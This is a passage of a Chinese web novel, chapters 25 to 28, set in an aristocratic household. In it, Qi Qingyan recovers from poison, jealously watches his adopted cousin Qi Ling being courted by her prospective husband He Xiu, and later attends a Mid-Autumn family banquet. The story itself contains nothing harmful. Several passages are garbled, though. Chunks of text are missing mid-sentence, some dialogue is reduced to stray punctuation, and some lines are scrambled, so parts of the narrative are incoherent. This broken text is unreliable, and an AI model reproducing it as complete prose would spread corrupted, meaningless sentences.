大夫人听到很是高兴,欣慰地将儿子送走了。 到了慕容家,外祖父总是责打他,比母亲更加严厉。只有舅父对他亲近,将他与表兄一同看待,说他们来日互相扶持,都是慕容家的好儿郎。 他处处比大表兄做的好些。 偶然听到,舅父私下与闹了脾气的大表兄说,他不过是慕容氏的一条狗,来日指那打那,与府中奴仆没有不同。 祁清宴知道了,亲情不过如此。 世人多薄情,他慢慢也成了那样。 怪香让他有欲,又让他想起最不堪回首的事,他头疼欲裂,身体仿若与神思分裂,让人沉浸痛苦中,分不清如今是何时? 几乎成为家主,做事无人可反驳的祁氏清宴,还是幼时明明有家,却无处可去的小阿质? 祁泠。 想起祁泠来。 如她的名字那般,她有一泓清泉般的干净眼眸,望着他时,总能让他清晰看到自己的面容,映出他的神情来,只有他知道那是真还是假。 刚开始,他在她面前还露出些假的情绪来,时日久了,只有真心的表情了。 她依赖的亲昵让他上瘾。 此刻想起—— 枕落在膝上的青丝,蜿蜒流淌滑下的青丝,一手拢不住,会从指缝间落出几缕去。 面似芙蓉,眉如柳,盈盈水眸,不点而朱的唇时常润泽,诱人俯身。 忽似有香气萦绕于鼻尖。 她身上一抹干净的女儿香,总是极淡,要离得极近才能闻到。 祁清宴从袖中拿出一方手帕来,有人在上面精心绣了一只雀鸟,蹦跳在竹叶尖,帕上沾染着她的女儿香。 他攥紧素白的手帕,置在鼻息之下,香气陡然浓了几分,更加清晰。 许久,他烦躁的心有了和缓。 人却迷茫起来。 第25章 第二十五章【VIP】 琅玕院的主人一连几日都没出门。 碧若端着托盘,上面放着汤盅,内里是熬得滚开的汤药,散着浓郁的苦气。青娥在忙旁的事,便由她入内送去,自打上次被罚,她许久都没到郎君面前侍奉,一时有些陌生。 祁清宴身披一件外袍,内里绸缎中衣,青丝未束,往日神采奕奕,俊秀爽朗的面庞沾染几分憔悴,正闭目养神,伸出手由医者看诊。 碧若一惊,又将话咽回去。 人都会成长,出错后受了重罚,此后再做事时会谨慎二分,故而她并未贸然出声。 朴老从泉涧巷的宅子赶来,连着几日都住在琅玕院的客房。 碧若轻手轻脚将汤药放在桌案上,到隔问煮水,又为朴老奉上一盏茶,才轻轻告退。 不常见到朴老,但琅玕院称得上祁清宴心腹的人都知道,这位老者不光精通医术,还是祁清宴十分倚重的长辈。 朴老朴正卿黑白参半的眉紧紧拧在一处,许久才松手,面容严肃道:“我回去翻了医术,今日又对了脉象,这怕是从南疆来的毒,诡异奇绝,药性极烈但极难得,应当只对你一人下了手。” “幸好中毒尚浅,”他扫了扫旁侧的药碗,“这服药性烈,你再吃上两日,我再来写个温和些的来补身子。也幸好你能忍,没泻欲,不然亏损更大。你这几日勿要劳心伤神,切记切记。那些事,先不要理,只养好身子。” 祁清宴低垂着眸,长睫在眼下打出几许阴影来,显露一种莫名的乖顺。 他似乎在听,抬手以指节抵唇咳了咳,脸上是异常的苍白,让人怜弱,不染人问烟火之意更甚。 可惜他不是无情无欲的神明,也不是悲天悯人的良善之人。 到底还是置若罔闻,他乌润的眼眸内里迸出些许深色来,语调极缓,“……南疆?祁家最近给了他好脸色,他才敢把使习惯的污糟手段用到我身上……还是近些时日他太闲了,过得太顺心了。” 摆明了要给楚徇找点事做。 做医者的,最讨厌这些不听医嘱的人。他刚说的话,这人全当成耳旁风了。 朴正卿板着脸道:“方说过别多虑,你还想着怎么暗地里算计人——同你说了,这样伤身!伤身!”他想到这些,又哼一声,“虽然你无妻妾,目前有力无心,但以后娶贤妻美妾,也不能有心无力吧?” 听他说这些,祁清宴只有无奈,以手支额,靠在案桌上,不说话。 朴正卿孤身一人,早年因欠了慕容氏的恩情留在慕容府上多年,算是看着祁清宴长大,比起许多慕容氏的人,更似亲人。 朴正卿又开始嘱咐莫要在此时与五皇子闹得太僵。 祁清宴听得耳朵疼,端过一旁漆黑的汤汁,喝了干净,用手帕点了点唇角,又收好,等洗干净再用。 他道:“总不能让其继续嚣张,变本加厉之辈,说不准还会做出什么事。” 也有道理。 朴正卿思索了会儿,道:“闲不是因为二皇子不在,他忙得回不了建业,正愁河坝怎么修。他身边人少,哪里有人帮衬?再拖也只能拖到明年开春。” “我与徊梁说,让他去,以他才略定能想出办法,他也愿意做这些。”祁清宴语毕顿了顿,又道:“过一阵儿,我也去罢。” 朴正卿啧啧几声,“帮二皇子一把,给五皇子添堵。你做些利国利民之事也算积德,为你未来的子孙积德。去吧,我也随你一同。” 祁清宴说好,想起几日后的仲秋:“朴叔就留在这里,不要回泉涧巷了,等过了节再走,将贡承贡嘉也叫过来。” 朴正卿琢磨了一下,点头道:“也行。” 他带着药箱出去,内里还没安静多久,青娥叩门得应允而进。 她笑着道:“郎君,方才一房来人了,仲秋将至,二娘子送了些团圆饼来,说当日要吃宫中送来的,先送来些尝个味儿。郎君早膳只用了些素粥,不如垫垫肚子?” 祁泠,想起她,祁清宴嗓问发痒,又偏过头去咳了咳,缓了会儿,才道:“拿过来吧。” 青娥身后的碧若挽着食盒走过去,是青娥给的她恕罪的机会,在何处犯错在何处改。 碧若打开雕花食盒打开,内里也是木雕的盒子,垫了纸,内里放着四块圆滚滚的饼,用模子压出来圆溜,形状一模一样的形状,分别印了团圆安康四字。?” 青娥顿了下,,否则她早就将人带进来,或是进来传信了。 为难就为难在也不是二娘子身边的银盘。她含含糊糊地说:“是一房跑腿的小丫鬟们,几个人拿着标了条的食盒,正送往各处呢。” 各处。 与上次一样,每房每个主子都有,她才不会单单给他送来,况下,才会给他。 祁清宴不失望也不吃惊,起,沉弦每天都在琅玕院守着,切,往日一房一来人,或者祁泠来,沉弦都是最激动的那个。 若是一房的人送团圆饼来,沉弦肯定会主动捧着送进来,祁清宴察觉到点不对,问:“沉弦呢?” 青娥也不知道。站在一旁闭嘴许久的碧若才酸溜溜说上一句,“他起早就溜去一房了,去那里玩了一早上,比送饼的人来的还早,也揣着饼回来,稀罕得什么似的,应该正在屋里吃呢。” 祁清宴拿起一块圆饼,咬了一口,是最常见的馅料,干枣、果仁、混着肉沫和糖,与往年府上厨娘用的馅料没什么不同,连酥软的饼皮也并无不同。 他表情微微停滞,又用了一口,仍是普通无奇的味道。 他道:“将沉弦唤来。” 碧若听到祁清宴找沉弦,主动将人唤了过来。 沉弦从门外跑进来,热得满头大汗,走到祁清宴身前,抹了把额头,小脸红彤彤的,身上带着糕点的甜香,甜滋滋地问:“怎么了郎君?” “一日没见到你了。你去一房作甚?” “唔……”沉弦转了转眼珠,可小孩子还是心眼不够多,几乎全说了出来道:“上次二娘子说有空让我去玩,听说一房这几日很热闹,我今个起早去,正巧二娘子带着小娘子一同包圆饼,我也跟着一齐动手……” “我还亲手做了一个,郎君要不要尝尝?”沉弦说着有些不舍,但献宝似的,从怀里拿出用纸包的圆团,摆在桌子上,打开,内里二个圆饼,其中两个花瓣雕成牡丹,精致好看,另外一个草率混成一团,堪堪能看出来是朵花。 沉弦知道郎君容易嫌弃,他指了指里面的,解释道:“郎君,这个是我做的,好了之后二娘子帮我包起来,很干净。” 祁清宴道:“嗯,不错,有长进……其余是二娘子做的?” 沉弦点点头,“二娘子手好巧,一样的面皮在她手中就换了模样,做出来许多花形的圆饼,牡丹,芍药,月季,还有莲花呢,挑了两个甜味的给我。” 祁清宴挪开视线,“我不饿,你做的自己吃吧。” 沉弦哦了一声,上前准备包起来带走,留到晚上当宵夜吃。 但青娥抬手,止了他的动作。沉弦脸上满是疑惑,青娥不像碧若那般不讲道理,他只是好奇,安静等着。 青娥拿了手帕,将沉弦指出来、他自己做的那个包起来,递给他,笑着说:“用多了糕点不好,小孩子少吃甜的,坏了牙就不好看了,回去玩吧。” 沉弦馋啊,他也想吃,眼巴巴看过去,和祁清宴对上视线,郎君又不理会他,也不说话。 沉弦只好高高兴兴地来,委屈巴巴地拿着一块,准备回去。 又听祁清宴问:“二娘子还在忙?” 沉弦摇头,“没有,我回来前二娘子就出门去了,听说何家要回老家,走之前请二娘子还有冯夫人去府上一聚呢。” …… 何家的后院内。 银盘贴着祁泠,眼神紧紧盯着走在前面几步的郎君,她未来的姑爷,倒是风姿绰约,不似寻常。 说起容貌,与府上二郎君相比也是不差太多的。只是郎君太过好看,难免招人,需要防着。 何岫转头,比着前面的荷花池,“敝舍微寒,还望娘子不要嫌弃,前有小坐之地,娘子可要与我去坐坐。” 言下之意有事与她说。 祁泠点头应允。 两位夫人在花厅叙话,旁事都说定。两家前几日已将生辰八字送去庙中找大师合算,这步不过是图个心安而已,一般算的都是良缘。 只待八字相合,何家便会送聘礼去祁家,两家定下婚书。 在那之后,何家将要回宣城去,成婚时,祁泠直接嫁去宣城。 走到池旁凉亭,两人隔着石桌对坐。 何岫望着对面安静隽秀的女娘,他当日在祁府并没见到祁泠,何母回来用晚膳时同他提了,戚家的二娘子容色过人。 但他并不在意,能与祁家联姻,即使是养女也足够体面了,与样貌无关。更何况娶妻娶贤,他自己便容貌昳丽,对此并不在意。 只是亲眼见到人,他到底惊喜。 何岫道:“二娘子,我是家中次子,兄长回去宣城,在附近的州郡为一小官,俸禄微薄。我只擅书画,来日得一闲职,无大抱负。总觉这样的婚事会委屈娘子,若娘子自己不愿,我会与母亲言说,不会传出风言风语去。” 观其是坦荡之人。 祁泠便也如实相告,“我是祁家养女,并不尊贵,也不求夫君如何,能得安稳之日已足矣。” 她低垂着眼眸,与端着架子的女娘不同,有颐指气使的娘子看中他,但他怕母亲受欺负,总是相拒。 没想到这桩婚事,比预想的要好上太多。何岫道:“我有年少时纳下的两名通房,一良妾,成婚之前会将人都送走,不会令你忧心。” 祁泠道好。 此后再无话可说。 …… 片刻之后,何家的院门半开,侧旁候着一辆祁家马车,传言中容色胜过女子的何岫先出来,祁泠落后两步。 除了银盘跟在后面,再无其他人。 不知要去何处。 远处偏僻有另一辆马车,亦是周身漆黑低调内敛,却无祁家家徽。 帘子被修长的手指掀着,内里有人望着何家宅前,视线长久不动。 第26章 第二十六章【VIP】 檐墙下堆垒的砖石古朴,遮住半数昏黄的落日,余下的光晕金灿灿地晃在人眼皮上,祁泠抬手遮挡几分,余光瞥见对面街道之上的漆黑马车,一顿。 她回头,眼神落在车身之上,仔细看过,没发觉异样,又挪开。 不是祁家的马车。 银盘往前快走几步,拉着她衣袖,凑到她耳边,小声嘟囔着:“娘子,咱们要去何处啊?” 祁泠摇摇头,她也不知晓。 原本打算简单聚聚就离开,与何岫也没什么可说的话。从后院归去,她坐在冯夫人身边乖巧地等着归家。 可两位母亲都笑吟吟的,在孩子出去时另外做了打算,说天色尚早,让两人出去逛上一逛。 祁泠小声喊声母亲,她肯定冯夫人听见了,也知道她不想去,却没管,只拍了拍她的手,道在此处等她回来。 冯夫人一改从前的不乐意,彻底将何家当成了比卢氏更好的亲家,同意得太过了。 之前她总隐隐担忧卢夫人过于刻薄,会苛待祁泠,偌大的卢家,祁泠能拿捏的只有一个卢肇月而已。 而何家是明理之家,趋利避害之心世人皆有之,从前攀附祁家的不好之处也变得能理解了。冯夫人自己够了高嫁的苦楚,她是落魄士族的女儿,当初嫁进祁家时,家中还有几分煊赫,后来只留了个空架子,皆由祁家帮扶,在老夫人说要她无子时才更无奈,只能做贤良夫人。 祁泠在何家就没有这般顾虑。 冯夫人看着好相貌的何岫更满意了。才非让两人出去,成婚前多见见培养感情。 此刻,落后于何岫三步远的地方,祁泠慢吞吞地走,有些许发困。 何岫察觉到后面娘子步伐极慢,亦将脚步放缓,在离祁泠大概一步远的距离时停步,问:“三娘子从小都在江州吗?” “不是,”他开口驱散了祁泠的困倦,稍偏过脸对着他,面上客气又疏离,一板一眼地解释:“我在建业长到六岁,之后随父母到江州长住,直到年前才回来。” “原来如此……我三岁随着爹娘来此,只三年归一次宣城,没想到三娘子住在建业的时日比我还短。建业集四海之珍奇,水路四通,陆路发达,几代都城,几度重华盛,风采不与旁处相比。娘子来日可会再念起此地?” 祁泠嘴角维持一个弧度,回想起建业,她只会想念这里几人,又想到似乎她每次都是遇到事,匆匆逃离建业。 一时思绪连翩。 后方猛然袭来一股大力,祁泠走着神,没能及时反应过来,向前倒去,手腕被一只炽热的手握住。 路中央忽而人多起来,近二三十禁卫匆匆走过,过路人皆避让。祁泠微愣神,没看到,何岫手急眼快地握住她手腕,才没摔倒。 过路人对着祁泠道歉,而祁泠对着何岫言谢。 祁泠今日穿着冯夫人给她选的孔雀蓝窄袖襦裙,腰系鹅黄襟带,发髻间只有鹅黄的绒花发钗。既然去做何家的媳妇,要的婆母欢心,上门拜访,少不得要按照何家的风格素上一些。 祁*清宴掀起帘子,马车又静停在街角,他望过去,专注寻找娘子的窄袖,人群太过密集,他紧紧盯着,过一阵才看到。 两人的袖口并不相接,只短暂交叠几瞬便擦着分开。 两人恢复原来一步远的距离。 他才放下帘子。 何家住在淮河桥附近,晚间灯火通明,很是热闹,这时到底是早了些。 路过一家首饰铺,上面挂着珍华楼的牌子,何岫问:“可要进去瞧瞧?这里是建业数一数二的铺子,许多夫人娘子喜欢到此处看看。” 祁泠应了,内里掌柜迎出,约莫有四旬岁数,顾不上抚他尚且没留长的短须,笑容满面道:“娘子可有想要的,小店不光有钗环,还有些古件、书画。” 二楼木制的楼梯旁,有位年轻的夫人百般无聊地打量着手上钗子,听到下面传来的声音,斜望下去,顿时吃了一惊:“祁泠?” 祁泠抬头,见杜仙露挽着妇人发髻,身子被深衣裹住,唇微微张,见到她很是吃惊模样。 珠帘之内,银盘和杜仙露的丫鬟都守在外面,祁泠与杜仙露在内小聚。 久未相见。 祁泠望着她,似乎觉得她比从前更加圆润些,本来眼距便宽,如今眼睛又更圆起来,像池塘中的锦鲤,周身珠润光泽。 杜仙露笑了笑,“?” 祁泠摇摇头,她知杜仙露在卢家受不到委屈,只是庶子女糟心些。 想,唔一声,“那边生了个女儿,若是儿子我也不在意,我 “我觉得那些情情爱爱是最无用的东西了,我不像你那般好看,总能让人喜欢,也不机灵,我只想过得好些。可我在杜家只占嫡女的身份,父亲母亲都不看重我,盘算着来日将我嫁给权贵之家,换些好处来,只有姑母真心对我好。” 碍,只要我在卢家,表哥和姑母都会好好对我,比在原先家中舒服多了,嫁去任何一家都比不上卢家。 “看你看来, 祁泠道:“不,你所言亦对。” 杜仙露被祁泠承认,一时还有些不敢置信,看着祁泠模样,还有从前听说的事,知道她过得不算好。 她道:“从前算我不对,总是针对你,不过没办法嘛,谁让表哥那时喜欢你呢。但是我们可扯平了,你的身世后来我知道了,也没往外说。” 再往前一段时日,祁泠不会懂杜仙露,如今也明白几分,杜仙露不是真喜欢嫡亲表哥,只是卢家是对她来说最好的归宿,才与她抢。 而她想要的却是太过无用,竟回想起当初头一回到琅玕院去。 她说,要夫君对她一心无二。 祁清宴笑,说她难觅良婿。 果然难觅,祁泠后知后觉发现自己当时是有点傻的。如今只要过得安稳就好。 杜仙露问:“下面是你未婚夫?” 祁泠随之望去,何岫不知看中了哪一只,手心躺着一物,正低头望去与掌柜言说。她道:“还不是。” 杜仙露道:“我是普通妇人,今日却想与你言说,来日要小心。” 祁泠笑,同她说好。 她走下楼,见何岫拿着小镊子,正自己动手,将原本的簪钿花瓣改了改,原本直愣愣的花瓣,他改过之后,每瓣花各有其形,奇形怪状。 仔细看去,似风拂过的形状。 掌柜在一旁称赞,明明变化甚小,但这簪钿忽而有了神,在旁学下这个法子,要将簪钿相送。 何岫收下,拿在手中,却将差不多的银钱放在桌上,被掌柜亲自送了出门。 走到门口,他从沉浸中回过神,拿起簪子,问祁泠:“这与你今日簪的绒花皆是迎春花,替你换一只簪上可好?” 迎春,祁泠今日未曾注意到这是什么花。她抬手扶着发上簇拥的小绒花,何岫的心思倒是细腻。 她道:“好。” 何岫极守分寸,得了应允,这才走近一步。他身上的气味扑过来,陌生至极,似是雨后,草木沾露,又青又雅。 他比祁泠高出一个头,眼前被一片阴影笼罩。她抬头见到他流畅而精致的下颌,肤色比女儿家还白皙细腻,没有一点瑕疵。 这个身量让她想起另一人来,身影在脑海中闪过,转瞬即逝,她不再想。 祁泠内心没有一丝悸动与羞赧,垂着眉眼。正如杜仙露嫁去卢家,她嫁去宣城,从此之后,与建业的繁杂告别,只求过得好些。 祁泠掀起眼帘,望着何岫,两人相处之中第一次主动问:“宣城如何?” 何岫低头,望进她清澈又柔和的眼眸中,一时晃了神,回过来笑道:“那里很好看,山清水秀,如音如画,民风淳朴,周围有许多游山玩水之地,空闲时可去。” 这门婚事,祁泠才算有了实感。 既然在建业不得安宁,去宣城过相敬如宾的日子也好。 她道:“好。” …… 天渐渐短起来,黄昏将过,黑夜将至,苍穹之中蒙上一层阴翳。 祁清宴立于街对面,人流攒动中看清铺前的两人。 郎君有着可恨的俊秀,除了让人唾上几句女气,再挑不出一丝错处,正低着、偏着头,面上荡漾出温柔的清浅笑意,不难看出他很满意未来的妻子。 祁泠的身影被遮挡住,但祁清宴也能看得出来,她没走开,也没有躲避的动作,反而仰着头,让人看清她发髻上新有的金簪钿。 从远处遥遥看去,似是一对有情人在耳鬓厮磨。 他面上再也维持不出风轻云淡,从心底燃起一股无名的郁火,逐渐蔓延到全身,袖中的手攥紧,情绪浮动极大,让人忘却这几日需要静养。 在这一刻,祁清宴知道了不同。 维持着兄长的身份,他也只能偶尔牵住祁泠的手,永远不能光明正大、堂而皇之的与她一处。 也不能同她更亲近。 她嫁人了,此后更是见面也难。 会有人,一直陪在她身旁,牵手,相拥,亲吻,乃至更亲密的事。 生儿育女,终身相伴。 哪怕祁泠不喜欢对方,可依她的性子,只要嫁过去,总会待夫婿不错,尽力替他打理家宅,与其家人好好相处。 何家上下哪里会有人不喜欢她?这个何岫,恐怕也逃不掉。 祁清宴视线停在祁泠身上,忽略她身边的人,何岫在他看来面容模糊。 他恨不得上前将祁泠带走,不许姓何的在她身旁再多留一刻—— 心中涌动着翻天覆地的浓烈情绪。 他才知,此为妒。 第27章 第二十七章【VIP】 远处忽而亮起几点光亮,用过晚膳的孩童三五围成一团,嘻嘻哈哈地互相推搡跑着,手中拿着的灯笼被根细绳牵着,不停晃动,光亮晃落进她眼中。 如此平淡的时刻,再普通不过的场景,心头却犹如燎过一点火星,被这种温馨烫到。 一直以来,她想要的不过是寻常日子,她快要沉溺进如此安稳中。 何家真奇怪。祁泠在心中想着,何母能让冯夫人卸下心防,而她与何岫见了几面,竟也不再抗拒这门婚事。 女娘面容柔和,眉眼低垂,昏暗的光晕亦不遮不住美人面容,再过几月又将是他的妻子,何岫喉间一动,手从发间缓缓落下,虚虚将碰到她的脸庞。 “妹妹。” 远处忽而有位郎君出声,素白的宽袖衣袍,发丝用竹钗半束脑后,端的是风流不羁之态,却又眉眼隽秀,神色清正。 “妹妹怎么在这?”他又开口,音色偏轻,又冷,“你是——” 转过来,看着他的眼神像是淬了冰,带着不善之意。 何岫眼皮跳了跳,方才将要触碰到女娘的那只手被锐利的视线刺得,隐隐一痛,倏地心头浮现几分无地自容出来。 他在与祁家议亲前,已经仔细了解过祁家关系,祁家二房三女一子,能唤祁泠为妹妹的怕是还没出仕的祁雪峤。 但来人年岁又不像。 在议亲前,以何家的身份,是见不到祁家大多人的。 何岫上前,双手抱拳俯身行礼,只有祁雪峤着一个答案,但尚且存疑,他言辞不详,只简单问安后道:“郎君,我是何岫,祁家二夫人与家母在议事,这才打发我们出来买些东西。” 他话音落下,此处再无声响,他只好带着疑窦问:“郎君是……?” 祁清宴才不理会这个姓何的,一双黑漆漆的眸犹如狐狸见到软绵绵的小羊羔,盯着祁泠不松开,眸中意味万千。 何岫询问祁清宴未果,反倒碰了一鼻子灰,他心头有几分尴尬,转而望向祁泠,等着她开口。 祁泠站在一旁,柳眉微微蹙起,再次见到祁清宴,不在祁家,而是大庭广众之下。她对面是将要成为她未婚夫婿的男子,她下意识对祁清宴产生了防备,带着一层浓厚的疏离。 她的反应,祁清宴尽收眼底,袖中拇指指腹轻按在食指指节之上,一下又一下。眼角弧度没变,嘴角却微微上扬一点,长眉微挑,也等着她出声介绍。 其中意思分明是:你确定不与我说话,让旁人看到祁家关系不睦吗? 从眼神之中,祁泠看明白他的意思,又嗔又怒地盯着他,对面却游刃有余,无动于衷。 他毫不在乎旁人的感受,她却不会,此刻见不得何岫在此受冷落,不论是正在与她议亲,还是任何旁人。 祁泠到底还是如他所愿,面上挤出一个很生硬的笑,同何岫介绍道:“这是我三堂兄。” 三堂兄。 何岫听着行三,便知是这是祁家三郎,祁氏清宴。不理睬他也便不奇怪了。 何岫又行礼道三郎安。 祁清宴应了,不过眼神从未离开祁泠,将她从头发到绣鞋全都看过一遍,目光追随着她的一举一动,细细描绘着她的眉眼,樱唇弧度与其上更加润泽的唇珠,眼尾处偏长的睫毛。 祁泠不想理他,被他看得心里直犯嘀咕,也无处可躲,三人在这怪异地站着像怎么回事。 银盘逮住机会悄悄上前,站在祁泠身边,缓了她几分不安。 “既然妹妹与叔母都在,天色已晚,我送叔母与妹妹回去罢。”祁清宴道。 他此举在何岫看来也完全可以理解,女儿家名节为重,再怎么议亲,到底还是没定下婚约来,方才他到底还是举止唐突了。 何岫理亏,只有应好的份,说完发现身旁没声儿,转头看向祁泠。 内里再怎么闹矛盾与别扭,在外还是一家人,外人看来都姓祁。祁泠只能硬生生答应了,同何岫略微俯身一礼,“何郎君,那我不叨扰了。” 何岫应下,与侍从先行离去。 祁泠不愿离开,就在此等着冯夫人。 冯夫人得了信从何家离开,又赶来,离得近,祁泠没等多久。 车内只有冯夫人和祁泠,祁清宴骑马在外。冯夫人问祁泠感觉何岫如何,祁泠只点点头,冯夫人便笑得欣慰。 到了祁家,冯夫人率先下马车,掀开帘子一角,见在外候着的竟是祁清宴,一惊。 祁清宴笑道何家,让我告诉您,归府后去瑞霭堂一趟。”他如乖顺小辈一般,把。 祁泠在内里隐隐约约听见了祁清宴的声音,但他这几日中气不足,说话的声音小,她并没听清,下意识以为祁清宴在门口说的。 一掀帘子——。 往日车夫都会马车旁此放下一个小木梯,来方便娘子上下,她视线向下扫了扫,今日却是没有的。 长而瘦削的手…… 祁泠袖中的手攥着,与他说话,再像从前那样亲切地依赖他,便愚弄算计之时。 冯夫人走在石阶之上,被嬷嬷扶着,察觉祁泠还没跟上来,不由得回头看去。 祁清宴问:“妹妹?” 素白的柔夷不情不愿、慢吞吞地递过去,还没彻底递到男子掌心之中,就被他紧紧握住,他的手温凉,力道却大,显露出筋骨来。 祁泠想着算了,由他扶着往下面走。 衣衫交叠,呼吸相错,距离极近时,耳边落下的呼吸温热,熟悉的声音响起,“若何家待你不好,你会和离归家么?” 祁泠瞳孔一缩,几欲不敢相信她听到的是什么,双脚稳稳地落在地上,又反应了一会儿,她才明白过来他的话。 她还没嫁出去呢,他就打算着她和离的事。 他到底再说什么鬼话!? 冯夫人已经生起疑来,步伐往下,要往这边来。 而祁清宴神色认真,还在等着她回答。 已经到了二房门口,不必再装作一团和气,祁泠咬牙切齿挤出两字:“不会。”语毕,用力从他掌中抽出手,一扯裙角,头也不回地跑走了。 第28章 第二十八章【VIP】 掌中残留几分香气,虽然淡极,总归比寻常她不在时浓郁。祁清宴站在原地,目睹祁泠气愤而走。 她脚下步子倒腾得极快,偶尔窥见气鼓鼓的侧脸,牵过她的手虚虚攥成拳,再也没有那一手滑腻。 祁泠一边走,一边拿帕子擦着方被他握过的手,总觉异样,怪怪的但又说不上来到底为何。 回想起祁清宴,只觉他今日甚是莫名其妙,先突兀出现在街上,又问她那样的话…… “怎么了,看方才你与清宴说了几句话。”冯夫人问。 “简单寒暄两句……”祁泠手心攥着帕子,不再细想祁清宴。冯夫人才是她离开建业最放心不下、也是惦念的人,旁人或多或少都有所倚靠,只有冯夫人若祁家浮萍。 她嫁出去,祁云漪还未长大,冯夫人无人照料,也更孤寂了。每每想起此事,她都心下一酸,走几步过去,与冯夫人挨得极近,问:“母亲往这边走,是要去瑞霭堂么?那我随母亲一起去。” “罢了。”冯夫人停下脚步,抬手理了理祁泠垂落肩膀的发,目光慈爱,“长辈说话你在旁侧干坐什么?早起累了一整日,回去歇着吧。” 祁泠一想到老宅那边有祁清宴在,或许在去瑞霭堂的路上还会遇见祁清宴…… 不去也好,现在祁泠对着祁清宴的态度便是能避就避,走得远远才好。 祁泠听了冯夫人的话,乖乖点头,随后道:“那我与漪漪等着母亲回来用晚膳。” 冯夫人笑了笑,挥手让她先回二房去。 隔几日到了仲秋。 祁家各房平日里不聚在一处,沈老夫人也不似旁的长辈,需要儿媳晨昏定省,子孙起早请安。但依老夫人的意思,阖家团圆的日子,一家人还是要聚在一处热闹的。 祁泠原打算推脱。 从前是惧怕大夫人,如今变成了不想见祁清宴。 但是老夫人发话喊她一同。 从前老夫人不愿惹得家宅不安,祁泠又是安静不争不抢的人,便悄无声息的算了。既然上次祁清宴带祁泠一同去了家宴,开了先例,也不怕惹得大夫人不悦,毕竟是她儿子开的头,怪不了别人。 而祁泠除岁前就会嫁出去,算是一家最后的团圆日子。 祁家三房,十余人又聚在一处。不像端午时独置案桌,今日男女不分席,全聚在檀木圆桌周围,意味团圆。 老夫人坐在正上首,左手边坐着大夫人,右边是祁观复。 大夫人旁侧坐着冯夫人,后是祁观岚。 几个女儿家坐在一处,祁观岚身边依次是祁望舒、祁泠、祁云漪、祁云漱。 祁云漱旁边是弟弟祁雪峤,从祁雪峤开始是祁家郎君们,抱着阿濯的祁既白、祁清宴,又连上了祁观复。 待人齐,丫鬟们也上齐了菜。 沈老夫人道:“今日团聚之福,皆赖祖宗荫德,来日切记勿忘根本,勿行背祖之事。家和乃至兴盛,父慈子孝,兄友弟恭、姐谦妹敬,夫义妇听,长惠幼顺。” “我年岁大了,孙辈的孩子们里阿泠,舒儿,漱儿都快嫁出去了,满打满算留她们不到两个年头,能团圆的日子过一个少一个……此后你们离家去,无论是赴任或是嫁人,身在何处,皆不可忘血脉相连,不能生隙、不可相忘。” “母亲所言甚是,儿子受教了。”祁观复微微垂头,经过风霜的面容上透出几分羞愧神色出来,冯夫人也垂头。大夫人没说话,眼帘落下,不言语,只做出一副受教模样。 祁观岚笑盈盈说着团圆话去哄老夫人,缓了僵持气氛。 阿濯今日由祁既白抱着,祁观岚专注陪母亲,虽然寻常不到瑞霭堂去,但只偶尔见上几面,她就够哄得老夫人心花怒放,转悲为喜,笑着嗔她无赖。 上一辈曾起嫌隙,小辈们坐在一处,却是彼此和乐,亲如一家的。 老夫人将他们混在一起排行,特意吩咐下去不许将各房分开唤,便是为了和气,此时只一一应下老夫人的话,感触不深。 宴席始,祁望舒与祁泠咬着耳朵说话,祁泠稍稍偏头过去,想听得清楚些。 偶一抬头,对上对面祁清宴的眼,他周围的祁既白和祁雪峤也在说话,而他偏偏就看着她! 祁泠抿着唇,移开目光不看他。 “……泠妹妹?” 祁泠转过头,看见祁望舒疑惑的眼,似乎在等着她回话,祁望舒的话,也有些迷茫。 “诶呀,你是撒娇推搡了祁泠一下,她不好意思,但很是好奇,凑近祁泠耳朵,轻声问:“那何郎君……哥哥和三哥俊俏吗?” 祁泠一时语塞。案桌之下,祁望摇,面上露出些许恳求神色。 她想了想,,我没仔细看。” 祁望舒哧哧笑起来,倚在祁泠肩头,“那你以后可要仔细看上一看。” 宴只吃了一会儿便结束,不过没散,长辈与长辈叙话,小辈与小辈一处玩。 老夫人撵小辈们到旁边一个门连着的小饭厅去玩。祁望舒当然乐意,她在长辈面前放不开,拉着祁泠走,祁云漪亦步亦趋地跟着姐姐。 祁云漱也要去,拽了祁雪峤一同,祁雪峤眼巴巴看着祁泠的背影,也跟了上去。 祁望舒回头喊了一声,哥哥,牵着祁泠的手走远了。 阿濯嘴里嚷着姐姐,从祁既白的怀里挣脱,要去追祁望舒。 祁既白不会哄孩子,凡事只知道顺着阿濯便好了。可若他走了,此处只剩祁清宴一个郎君,他转头问,颇有些为难地问道:“三弟,我们一同去?” 他知道祁清宴八成不会去的,这堆兄弟姐妹聚在一处太过杂乱,祁清宴极喜安静,性又怪,怎会与他们一同行酒令猜拳来玩闹? 祁清宴果然摇头相拒。 他身边还坐着叔父祁观复,他父亲不在,祖母在旁边被祁观岚一口一个亲娘哄着,两位当家夫人又不言语,陪祁观复叙话的活落到他身上。 他这位叔父很是无趣,又寡言,坐在这里尚未离开,便是有话要与他说,他想离席,但只能暂且留下。 不多时,祁观复果然开口道:“听闻近日燕家郎君自请去临川助三皇子修河坝,你与他相熟,可曾提前知晓此事?” 祁清宴点头。他与祁观复多年未见,仅靠血脉联系,他只简单道:“徊粱官职不高,去也无碍,与祁家无关,叔父不必忧心。” 祁清宴想,祁观复或许以为燕徊梁此举是他授意,会以此事开头,倾尽祁家之力明目张胆支持三皇子,掺和皇族事,违了家训。 可他那优柔寡断,处理不清家务事的叔父略一思索,道:“我只是怕那孩子,他会有危险。五皇子太过狠厉……既然你二人相熟,祁家还有些护卫,从前母亲让我带去江州的人,我在建业也用不上,三郎将人送过去,不必提我,以你之名便好了。” 祁清宴眸中闪过惊讶的光芒,手置在膝上,压住不停翩飞的思绪,他装若无意,笑问:“叔父怎注意到徊粱了?” 祁观复叹了一声气,“无父无母,自幼养在慕容家,算是义子,每次在朝中遇见他,我总想起阿泠来……五皇子非良人,阿泠不愿,还要劳烦你为她妥帖善后。可她外表再持重,心里还是有稚气,说话做事总易得罪人,你不要同她计较。” 祁观复心细如发,恐怕在宴上看出了祁泠刻意疏远着他,来缓和两人关系。 祁清宴知道了她的心软细腻怕是从祁观复和冯夫人随来的,当真不是亲生,更似亲生。 一走神就想起她来。 祁清宴顺势抬眸,望去对面的隔间。 祁泠似乎是猜拳输了,祁望舒端着酒杯喂给她喝,姐妹两个亲热些倒还好,她们两个脾性相投,祁望舒带着祁泠玩也不错,起码她在祁家不会太过无趣。 但…… 另外的人便不同了。 祁既白还算有分寸的,端着酒杯与祁泠碰了下,随后站在一旁笑盈盈的等着祁泠喝下去。 算不逾矩。 